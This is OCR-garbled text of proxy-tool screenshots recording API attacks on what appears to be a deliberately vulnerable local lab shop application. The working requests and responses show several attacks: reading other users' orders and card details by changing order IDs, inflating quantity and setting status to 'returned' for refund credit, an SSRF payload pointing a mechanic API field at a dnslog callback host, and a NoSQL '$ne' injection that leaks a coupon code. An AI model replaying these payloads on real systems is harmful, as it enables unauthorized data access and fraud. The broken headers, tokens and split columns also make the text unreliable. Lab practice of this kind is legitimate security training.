T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2

= | Pretty Raw Hex Render

HITP/1.1 404

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 16:59:42 GMT
Content-Type: application/json
Comnection: keep-alive

Vary: Origin

W
10 G W

1h31iDglZgn_n7T0Vb55FULRQWLAZIbBX9KN4pz0 MR8 W2m J4AF jwIsbT591cQo] InY JS3pwfK54f oPwkSmwhpSNLViXtvA_ NuZr | 7 Vary: Access-Control-Request-Method
3VMWRT4Wxme8n8ETmPanSFe~YM jE-ELOPG texVYkfUTL5cHT QainQ3hBAUWN jZamOdie jzbcagg Trkk0_ew3sDeaPBGS5CF6IsD | 8 Vary: Access-Control-Request-Headers
ui8ebo_fUlU91qMDAux_R1XIgNzxcqxyxs1NLgkZbfk-93uNwe1DqzVXL2]r ibcmqomAVQ 9 Access—Control-Allow-Origin: *
Accept-Language: zh-CN, zh;q=0. 9 Content-Type-Options: nosniff

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 X-Xss-Protection: 0
Chrome/138. 0. 0.0 Safari/537. 36 12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
" Content-Type: application/json 13 Pragma: no-cache

5 4 x/x 14 Expires: 0

] http://192. 168. 0. 102: 8888 15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains

) Referer: http://192. 168. 0. 102:8888/my-profile 16 X-Frame-Options: DENY

| Accept-Encoding: gzip, deflate, br 17 Content-Length: 81

2 18

3 19 {

L { “message”:”Sorry, Didn't get any profile video name for the user.”.

“status”:404

“videoName”:”
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Request

Pretty  Raw  Hex

W WD

o U

POST /workshop/api/shop/orders HITP/1.1

Host: 192.168. 0. 102:8888

Content-Length: 29

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36

7 Content-Type: application/json

W WD~ O 0o

Accept: */*

Origin: http://192. 168. 0. 102:8888
Referer: http://192. 168. 0. 102:8888/shop
Accept-Encoding: gzip, deflate, br

“product_id”:2
“quantity”:1

Response

Pretty Raw  Hex  Render

HITP/1.1 200 OK

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 17:01:44 GMT
Content-Type: application/json
Comnection: keep-alive

Allow: GET, POST, PUT, HEAD, OPTIONS
Vary: origin, Cookie

§ access-control-allow-origin: *

9 X-Frame-Options: DENY

10 X-Content-Type-Options: nosniff

11 Referrer-Policy: same-origin

12 Cross-Origin-Opener-Policy: same-origin
13 Content-Length: 60

1o O W

14
15 {
“id":15
"message”:"Order sent successfully.”,
“credit”:70.0
}
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Request

Pretty  Raw  Hex
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GET /workshop/api/shop/orders/15 HITP/1.1

Host: 192.168. 0. 102:8888

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Referer: http://192. 168. 0. 102:8888/orders?order_id=15

Accept-Encoding: gzip, deflate, br

Comnection:. kespmalive

Response

Pretty Raw  Hex  Render

9 X-Content-Type-Options: nosniff
10 Referrer-Policy: same-origin

11 Cross-Origin-Opener-Policy: same-origin
12 Content-Length: 547

13
14 {
“order”: {
”id":15,
“user”: {

“email”:"security101@qq. com”,
“number”:”19111111111"

3,
“product”: {
“id":2,
“name”: “Wheel”,
“price”:"10. 00",
“image_url”:”images/wheel. svg”
3,

Transaction_id : 582 Bace-e888-4dc8-bSca-01380edd5a10”,
“created_on”:"2025-08-12T17: 01: 4. 699781"
I8
"payment”: {
“transaction_id”:"88278ace-e888-4dc8-b8ca-01380edd5al0”,
“order_id":15,
“amount”: 10,
“paid_on”:"2025-08-12T17:01:44. 699781",
”card_number” : " XXXXXXXXXXXX2380"
“card_owner_name”: "mathias”,
"card_type”:"Visa”,
“card_expiry”:"01/2026",
“currency”: "USD”
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Request Response
Pretty  Raw  Hex

= | Pretty Raw Hex Render

1 PUT /workshop/api/shop/orders/15 HITP/1.1 1 HITP/1.1 400 Bad Request

2 Host: 192.168.0. 102:8888 2 Server: openresty/l.25.3.1

3 Authorization: Bearer 3 Date: Tue, 12 Aug 2025 17:12:27 GMT
eyJhbGei0iJSUZIINi J9. eyJzdWI10i JzZWN1cml0e TEWMUBxCSS5 jb201LCTpYXQ10 JESNTURMTY00DUS InV4cCIBMTCINTYYMT | 4 Content-Type: application/json
T4NSwi cm9sZSI6InVZZXT1£Q. 0AQMYcehOcTE J229Ty The5A0CAG1 38sF31 fwl-etz_UK5gUjfsnk1a3f JwvVZ0iRGp3GUSD5S2 | 5 Comnection: keep-alive
1h3iDglZgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2n T 4AdF jwOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA NuZr | 6 Allow: GET, POST, PUT, HEAD, OPTIONS
3VMHWRT4Wxme8n8ETmPqnSFe-YMjE-ELOPG texVYkfUTL5CHT QainQ3hBAUWN ZqnOdie jzbeagg Trkk0_ew3sDeaPBG85CF6IsD | 7 Vary: origin, Cookie
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 8 X-Frame-Options: DENY

4 Accept-Language: zh—CN, zh;q=0. 9 9 X-Content-Type-Options: nosniff

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 10 Referrer-Policy: same-origin
Chrome/138. 0. 0.0 Safari/537. 36 11 Cross-Origin-Opener-Policy: same-origin

6 Content-Type: application/json 12 Content-Length: 88

T Accept: */* 13
Referer: http://192. 168. 0. 102:8888 ef ders?order_id=15 14 {

Accept~Encoding: gzip, deflate
& L v
Content-Lengtl

{
)

“status”:

Ok WN+- O WO -
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Request
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Hex

PUT /workshop/api/shop/orders/15 HITP/1.1

Host: 192.168. 0. 102:8888

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ
Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Referer: http://192. 168. 0. 102:8888/orders?order_id=15

Accept-Encoding: gzip, deflate, br

Comnection:. kespmalive
Content-Length: 26

{
)

like Gecko)

“status”: “returned]’

Pretty  Raw

Response

Hex  Render

1 HITP/1.1 200 OK

2 Server: openresty/l.25.3.1

3 Date: Tue, 12 Aug 2025 17:14:00 GMT
4 Content-Type: application/json

5 Comnection: keep-alive

6 Allow: GET, POST, PUT, HEAD, OPTIONS
7 Vary: origin, Cookie

8 X-Frame-Options: DENY

9 X-Content-Type-Options: nosniff

10 Referrer-Policy: same-origin

11 Cross-Origin-Opener-Policy: same-origin
12 Content-Length: 293

13

14 {

“email”:"security101@qq. com”,
“number”:”19111111111"

“Wheel”,
“price”:"10. 00",
“image_url”:”images/wheel. svg”

)

quantity”:1,
“status”:"returned”
“transaction_id”:"88278ac
“created_on”:"2025-08-12T

888-4dc8-b8ca-01380edd5a10”,
01:44. 699781
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Request
Pretty  Raw  Hex
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8
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PUT /workshop/api/shop/orders/15 HITP/1.1
Host: 192.168. 0. 102:8888
Authorization: Bearer

eyJhbGei01 JSUZIINL J9. ey JzdW 1101 JzZWNleml Oe TEWMUBxcS5 jb201LCIpYX Q10 JESNTURMTY00DUS ImV4cCIBMTC INTY yMT
T4NSwicm9sZSI6InVZZXT1£Q. 0AGMYcehOcTXJ229Ty The5AoCAG138sF31fwl-etz_UK5gU jfsnkla3f JwvVZ0iRGp3GUXD5S2
1h31iDglZgn_n7OVb55FULRQWLAZmb8X 9Kn4pz0 1MR8W2mJ4AdF jw9sbT591cQo T InY JS3pwfK54f oPwkSmwhpSNLviXtvA_NuZr
3VMWRT4Wxme8n8ETmPamSFe-YM jE-ELOPG texVYkfUTL5cHT QainQ3hBAUWN jZqmOdMe jzbcagg Trkk0_ew3sDeaPBG85CF6IsD

ui8ebo_fUlU91qMDAux_R1XIgNzxcqxyxs1NLgkZbfk-93uNwe1DqzVXL2]r ibcmqomAVQ
Accept-Language: zh-CN, zh;q=0. 9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Referer: http://192. 168. 0. 102:8888/orders?order_id=15
Accept-Encoding: gzip, deflate, br

Comnection:. kespmalive
Content-Length: 27

{
)

“status”:"delivered”

Response

Pretty Raw  Hex  Render

1 HITP/1.1 200 OK

2 Server: openresty/l.25.3.1

3 Date: Tue, 12 Aug 2025 17:14:35 GMT
4 Content-Type: application/json

5 Comnection: keep-alive

6 Allow: GET, POST, PUT, HEAD, OPTIONS
7 Vary: origin, Cookie

8 X-Frame-Options: DENY

9 X-Content-Type-Options: nosniff

10 Referrer-Policy: same-origin

11 Cross-Origin-Opener-Policy: same-origin
12 Content-Length: 294

13

14 {

7
email”:"security101@qq. com”,
“number”:”19111111111"

:"Wheel”,
“price”:"10. 00",
“image_url”:”images/wheel. svg”

)

quantity”:1,

“status”:"delivered’,
“transaction_id”:"88278ace-e888-4dc8-bBca-01380edd5al0”
“created_on”:"2025-08-12T17: 01: 4. 699781"
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Request

Pretty  Raw

Hex
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PUT /workshop/api/shop/orders/15 HITP/1.1

Host: 192.168. 0. 102:8888

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ
Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Referer: http://192. 168. 0. 102:8888/orders?order_id=15

Accept-Encoding: gzip, deflate, br

2 tioni.k 1iy
Content-Length: 42

{

like Gecko)

“quantity”:1000,
“status”: "returned”

Pretty  Raw

Response

Hex  Render

HITP/1.1 200 OK

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 17:18:18 GMT
Content-Type: application/json
Comnection: keep-alive

Allow: GET, POST, PUT, HEAD, OPTIONS
: origin, Cookie

~Frame-Options: DENY

9 X-Content-Type-Options: nosniff

10 Referrer-Policy: same-origin

11 Cross-Origin-Opener-Policy: same-origin
12 Content-Length: 296

1o O W

14 {
“orders”
“id:
“user”: {
“email”:“securityl0l€qq. con”
“number”:”19111111111"

3,
“product”: {
“id":2,
“name”: “Wheel”,
“price”:"10. 00",
“image_url”:”images/wheel. svg”
i

quantity”:1000,

“status”:"returned”
“transaction_id”:"88278ace-e888-4dc8-bBca-01380edd5al0”
“created_on”:"2025-08-12T17: 01: 4. 699781"
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Request Response
Pretty  Raw  Hex = | Pretty Raw Hex Render

PUT /identity/api/v2/user/videos/53 HITP/1.1 HITP/1.1 200

Host: 192.168. 0. 102:8888 Server: openresty/l.25.3.1
Content-Length: 23 Date: Tue, 12 Aug 2025 17:21:28 GMT
Authorization: Bearer Content-Type: application/json
eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT Comnection: keep-alive
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2 Vary: Origin
1h3iDglZgn_n70Vb55FULRANLAZNbSX9Kn4pz0 IMR8W2mJ4AdF jwIsbT591c0o0] InY JS3pwEK54f oPwkSmwhpBNLviXtvA_NuZr | 7 Vary: Access—Control-Request-Method

W WD
10 G W

SVMFRT4WxneSnSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5cHT QainQ3hBAUNN jZanOdie jzbcaggTrkk0_ew3sDeaPBGSSCF6IsD | 8 Vary: Access-Control-Request-Headers
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 9 Access-Control-allow-Origin: *
5 Accept-Language: zh-CN, zh;q=0.9 10 X-Content-Type-Options: nosniff
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 X-Xss-Protection: 0
Chrome/138. 0. 0.0 Safari/537. 36 12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
7 Content-Type: application/json 13 Pragma: no-cache
8 Accept: ®/* 14 Expires: 0
9 Origin: http://192.168. 0. 102:8888 15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
0 Referer: http://192. 168. 0. 102:8888/my-profile 16 X-Frame-Options: DENY
1 Accept-Encoding: gzip, deflate, br 17 Content-Length: 109
2¢ 1 18
3 19 {
4 { “id":53,
“videoName”:"777. mp4” “video_name”:"777. mpd”,
) “conversion params”:"-v codec h264”,

“profileVideo”: data: image/ jpeg;base64, "
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PUT /identity/api/v2/user/videos/53 HITP/1.1 HITP/1.1 200
Host: 192.168. 0. 102:8888 Server: openresty/l.25.3.1
Content-Length: 59 Date: Tue, 12 Aug 2025 17:22:21 GMT
Authorization: Bearer Content-Type: application/json
eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT Comnection: keep-alive
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2 Vary: Origin
1h3iDglZgn_n70Vb55FULRANLAZNbSX9Kn4pz0 IMR8W2mJ4AdF jwIsbT591c0o0] InY JS3pwEK54f oPwkSmwhpBNLviXtvA_NuZr | 7 Vary: Access—Control-Request-Method
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD Vary: Access-Control-Request-Headers

W U0 L
10 e W

»

uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 9 Access-Control-allow-Origin: *
5 Accept-Language: zh-CN, zh;q=0.9 10 X-Content-Type-Options: nosniff
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 X-Xss-Protection: 0
Chrome/138. 0. 0.0 Safari/537. 36 12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
7 Content-Type: application/json 13 Pragma: no-cache
§ Accept: */* 14 Expires: 0
9 Origin: http://192. 168. 0. 102:8888 15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
0 Referer: http://192. 168. 0. 102:8888/my-profile 16 X-Frame-Options: DENY
1 Accept-Encoding: gzip, deflate, br 17 Content-Length: 109
12 Gommechion:. kespmalive 18
13 19 {
14/ { “id":53,
“videoName”: "888. mp4”, “video_name”:"888. mpd”,
“conversion params”:”-v codec h265” “conversion params”:”-v codec h265”,
) “profileVideo”:"data: image/jpeg;baseds, "
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1 POST /workshop/api/merchant/contact_mechanic HITP/1.1 1 HITP/1.1 200 OK

2 Host: 192.168. 0. 102:8888 2 Server: openresty/l.25.3.1

3 Content-Length: 214 3 Date: Tue, 12 Aug 2025 17:24:47 GMT

4 Authorization: Bearer 4 Content-Type: application/json
eyJhbGei0iJSUZIIN J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS jb201LCTpYXQ10 JESNTURMTY00DUS InVAcCIBUTCINTYYMT | 5 Connection: keep-alive
T4NSwicn9sZSI6InVzZXT1£Q. 0AQMYcehOcTX J229Ty The540CG1 38sF 31 £wl-etz_UK5gU jfsnK1a3f JwvVZ0iRGp3GURD5S2 | 6 Allow: POST, OPTIONS
1h3iDglZgn_n70Vb55FULRANLAZbEX9Kn4pz0 IMREW2MJ4AdF jwIsbT591c0o] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr | 7 Vary: origin, Cookie
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGSSCF6IsD | § access—control-allow-origin: *
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 9 X-Frame-Options: DENY

5 Accept-Language: zh-CN, zh;q=0.9 10 X-Content-Type-Options: nosniff

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 Referrer-Policy: same-origin
Chrome/138. 0.0. 0 Safari/537. 36 12 Cross-Origin-Opener-Policy: same-origin

7 Content-Type: application/json 13 Content-Length: 158

§ Accept: */* 14

9 Origin: http://192. 168.0. 102:8888 15 (

0 Referer: http://192. 168. 0. 102:8888/contact -mechanic?VIN=6]DYB4TAZQ0659262 “response_from_mechanic_api”: {

1 Accept-Encoding: gzip, deflate, br "1d":16,

2 Connection:. keep-alive “sent”:true,

3 “report_link”:

4 “http://192. 168. 0. 102:8888/workshop/api/mechanic/mechanic_report?report_id=16"

“mechanic_code”:"TRAC_JME”, I8
“problem_details”:"3.11", “status”:200

“number_of_repeats”
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| POST /workshop/api/merchant/contact_mechanic HITP/1.1 1 HITP/1.1 400 Bad Request

> Host: 192.168. 0. 102:8888 2 Server: openresty/l.25.3.1

3 Content-Length: 175 3 Date: Tue, 12 Aug 2025 17:26:39 GMT

L Authorization: Bearer 4 Content-Type: application/json
eyJhbGei0iJSUZIIN J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS jb201LCTpYXQ10 JESNTURMTY00DUS InVAcCIBUTCINTYYMT | 5 Connection: keep-alive
T4NSwicm9sZSI6InVZZXTi£Q. 0AQMYcehOcTE J229Ty The5A0CAG138sF 31 fwl-etz_UK5gUjfsnk1a3f JwvVZ0iRGp3GUD5S2 | 6 Allow: POST, OPTIONS
1h3iDglZgn_n70Vb55FULRANLAZbEX9Kn4pz0 IMREW2MJ4AdF jwIsbT591c0o] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr | 7 Vary: origin, Cookie
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGSSCF6IsD | § access—control-allow-origin: *
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 9 X-Frame-Options: DENY

5 Accept-Language: zh—CN, zh;q=0. 9 10 X-Content-Type-Options: nosniff

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 Referrer-Policy: same-origin
Chrome/138. 0. 0.0 Safari/537. 36 12 Cross-Origin-Opener-Policy: same-origin

" Content-Type: application/json 13 Content-Length: 48

5 4 */% 14

] http://192. 168. 0. 102: 8888 15 (

) Referer: http://192.168. 0. 102:8888/contact-mechanic?VIN=6JDYB4TAZQ0659262 "message”:"Could not connect to mechanic api.”

| Accept-Encoding: gzip, deflate, br )

2 G 23 1

3

L {

“mechanic_code”:"TRAC_JME”,
“problem_details”:"3.11",
“vin":"6JDYB4TAZQ0659262",
"mechanic_api”:“http://2tq8it. dnslog. en”,
“repeat_request_if_failed”:false,
“rumber_of_repeats”: 1
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POST /community/api/v2/coupon/validate-coupon HITP/1.1

Host: 192.168. 0. 102:8888

Content-Length: 23

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Origin: http://192. 168. 0. 102:8888

Referer: http://192. 168. 0. 102:8888/shop

Accept-Encoding: gzip, deflate, br

”coupon_code”: "11111"

Response

O o W

©

Pretty Raw  Hex  Render

HITP/1.1 500 Internal Server Error

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 17:28:52 GMT

Content-Type: application/json

Comnection: keep-alive

Access—Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding,
Authorization

Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access—Control-Allow-Origin: *

Content-Length: 3

{
)

X-CSRF-Token,
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POST /community/api/v2/coupon/validate-coupon HITP/1.1

Host: 192.168. 0. 102:8888

Content-Length: 42

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSnSETnPqnSFe-YMjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN jZanOdMe jzbcaggTrkk0_ew3sDeaPBGSSCF6ISD | 7
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ
Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 10
Chrome/138. 0. 0.0 Safari/537. 36 11
Content~-Type: application/json

Accept: */*

Origin: http://192. 168. 0. 102:8888

Referer: http://192. 168. 0. 102:8888/shop

Accept-Encoding: gzip, deflate, br 12

O o W

© o

"coupon_code”: {

“$ne”: " xxxxxxxaxxxx”

)

Response
= | Pretty Raw Hex Render

HITP/1.1 200 OK
Server: openresty/l.25.3.1

Date:

Tue, 12 Aug 2025 17:29:55 GMT

Content-Type: application/json
Comnection: keep-alive

Access-Control-Allow-Headers: Accept, Content-Type,

Authorization
Access—Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *

Content-Length: 7

{

"coupon_code” : "TRACOT5",
“amount”:"75",
“CreatedAt”:"2025-08-12104:23: 08. 4952"

Content-Length,

Accept-Encoding,

X-CSRF-Token,
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I BET /workshop/api/shop/orders/14 HITP/1. 1 9 X-Content-Type-Options: nosniff
2 Host: 192.168. 0. 102:8888 10 Referrer-Policy: same-origin
3 Authorization: Bearer 11 Cross—Origin-Opener—Policy: same-origin

eyJhbGei01JSUZIINL J9. ey JzdW 1101 JzZWNleml 0e TEWMUBxcS5 jb201LCIpYXQ10 JESNTURMTY00DUS ImVAcCIBMTCINTYYMT |12 Content-Length: 547
T4NSwicm9sZSI6InVZZX 11 £Q. 0AGMYcehOcTXJ229Ty Tbe5A0CAG138sF3ifwl-etz_UK5gUjfsnK1a3f JwvVZ0iRGp3GURD5S2 |13
1h3iDglZgn_n70Vb55FULRAWLAZIbSX 9Kn4pz0 1 MR8w2m T 4AdF jw9sbT591cQo T InY JS3pwfK54f oPwkSmwhpSNLViXtvA NuZr 14 {

SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD “order”: {
uiBe5o_fUlU91gMDAux_R1XIgNzxcqxyxsINLgkZbfk-93ulwelDazVXL2JribemgomAVa "id":14,

4 Accept-Language: zh-CN, zh;q=0.9 “user”: {

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) “email”:"securityl01@qq. con”,
Chrome/138. 0. 0.0 Safari/537. 36 “mumber”:”19111111111"

5 Content-Type: application/json I8

T Accept: */k “product”: {

5 Referer: http://192. 168. 0. 102:8888/orders?order_id=14 "id":2,

) Accept-Encoding: gzip, deflate, br "name”: “Wheel”,

0 : “price”:"10.00",

1 “image_url”:”images/wheel. svg”

I8
“quantity”:1,
“status”:"delivered’,
“transaction_id”:"d0629a60-eal8-4059-90b9-3f3af962al£1",
“created_on”:"2025-08-12T17: 01:25. 742322"
I8
"payment”: {
“transaction_id”:"d0629a60-eal8-4059-90b9-3f3af962alf1",
“order_id": 14,
“amount” : 10,
“paid_on”:"2025-08-12T17:01:25. 742322",
“card_number”: " 23807,
“card_owner_name”: "mathias”,
"card_type”: "Visa”,
“card_expiry”:"01/2026",
“currency”: "USD”
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GET /workshop/api/shop/orders/8 HITP/1. 1 9 X-Content-Type-Options: nosniff
Host: 192.168. 0. 102:8888 10 Referrer-Policy: same-origin
Authorization: Bearer 11 Cross-Origin-Opener-Policy: same-origin

eyJhbGei01JSUZIINL J9. ey JzdW1101 JzZWNleml Oe TEWMUBxcS5 jb201LCIpYX Q10 JESNTURMTY00DUS ImVAcCIBMTCINTYYMT |12 Content-Length: 550
